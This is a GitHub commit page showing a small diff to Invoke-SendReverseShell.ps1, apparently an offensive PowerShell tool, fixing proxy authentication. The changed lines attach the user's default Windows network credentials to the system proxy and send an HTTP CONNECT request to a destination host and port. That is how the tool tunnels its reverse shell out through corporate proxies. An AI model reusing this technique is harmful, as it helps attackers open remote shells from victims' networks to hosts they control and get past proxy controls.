Skip to content

Commit

Permalink
Fixed proxy authentication
Browse files Browse the repository at this point in the history
  • Loading branch information
Arno0x committed Aug 8, 2017
1 parent 1053951 commit 6cab8f2
Showing 1 changed file with 3 additions and 2 deletions.
5 changes: 3 additions & 2 deletions Invoke-SendReverseShell.ps1
Expand Up @@ -63,9 +63,8 @@ function Invoke-SendReverseShell
Write-Verbose "Using proxy [$ProxyName`:$ProxyPort]"
}
elseif ($UseDefaultProxy) {
# Detect and set automatic proxy and network credentials
# Detect and set automatic proxy
$Proxy = [System.Net.WebRequest]::DefaultWebProxy
$Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$ProxyName = $Proxy.GetProxy($DestUri).Host
$ProxyPort = $Proxy.GetProxy($DestUri).Port
if ($ProxyName -eq $DestHost) {
Expand All @@ -78,6 +77,8 @@ function Invoke-SendReverseShell
}

if ($UseProxy) {
# Detect and set automatic network credentials
$Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$DestHostWebRequest = [System.Net.HttpWebRequest]::Create("http://" + $DestHost + ":" + $DestPort)
$DestHostWebRequest.Method = "CONNECT"
$DestHostWebRequest.Proxy = $Proxy
Expand Down

0 comments on commit 6cab8f2

Please sign in to comment.